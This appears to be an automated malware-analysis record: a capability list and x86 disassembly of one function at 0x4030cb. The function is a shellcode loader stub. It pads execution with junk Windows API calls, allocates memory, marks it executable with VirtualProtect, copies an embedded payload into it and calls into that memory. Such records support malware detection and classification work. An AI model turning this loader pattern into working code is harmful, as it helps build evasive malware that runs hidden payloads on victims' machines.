Function at 0x4030cb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Get memory capacity
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc20
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x40310a
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x40311b
inc edi
cmp edi, 0x67d12
jl 0x4030db
cmp dword [0x245310c], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x4031d3
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x402c80
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.0040412b
push esi
call fcn.00403bf0
push esi
call fcn.00403de8
push esi
call fcn.00403dfe
push esi
push esi
call fcn.00403bd9
push esi
push esi
call fcn.00403f76
push esi
call fcn.00404343
push esi
call fcn.00403f2c
add esp, 0x28
add dword [0x245310c], 0x1134b
push dword [0x245310c]
mov eax, dword [0x43db0c]
push esi
mov dword [0x2453f48], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x245310c]
mov dword [0x2452b9c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x403211
cmp dword [0x245310c], esi
jbe 0x4032a2
mov eax, dword [0x2453f48]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2452b9c]
mov byte [ecx + edi], al
cmp dword [0x245310c], 0x490
jne 0x403299
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push esi
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x245310c]
jb 0x40322d
xor edi, edi
mov eax, dword [0x245310c]
add eax, edi
cmp eax, 0x8d
jne 0x4032e0
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x402ca0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x4032a4
call fcn.00402fe6
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x40330f
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x114f6
mov eax, dword [ebp - 4]
add dword [0x2452b9c], eax
inc edi
cmp edi, 0x674bd
jl 0x4032f0
push 0x7b
pop edi
cmp dword [0x245310c], 0x86
jne 0x403378
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0x420]
push eax
push 0x402ca4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x245310c], 0xf
jne 0x40338c
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x40331b
push 0x402cb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2452b9c]
pop edi
pop esi
pop ebx
leave
ret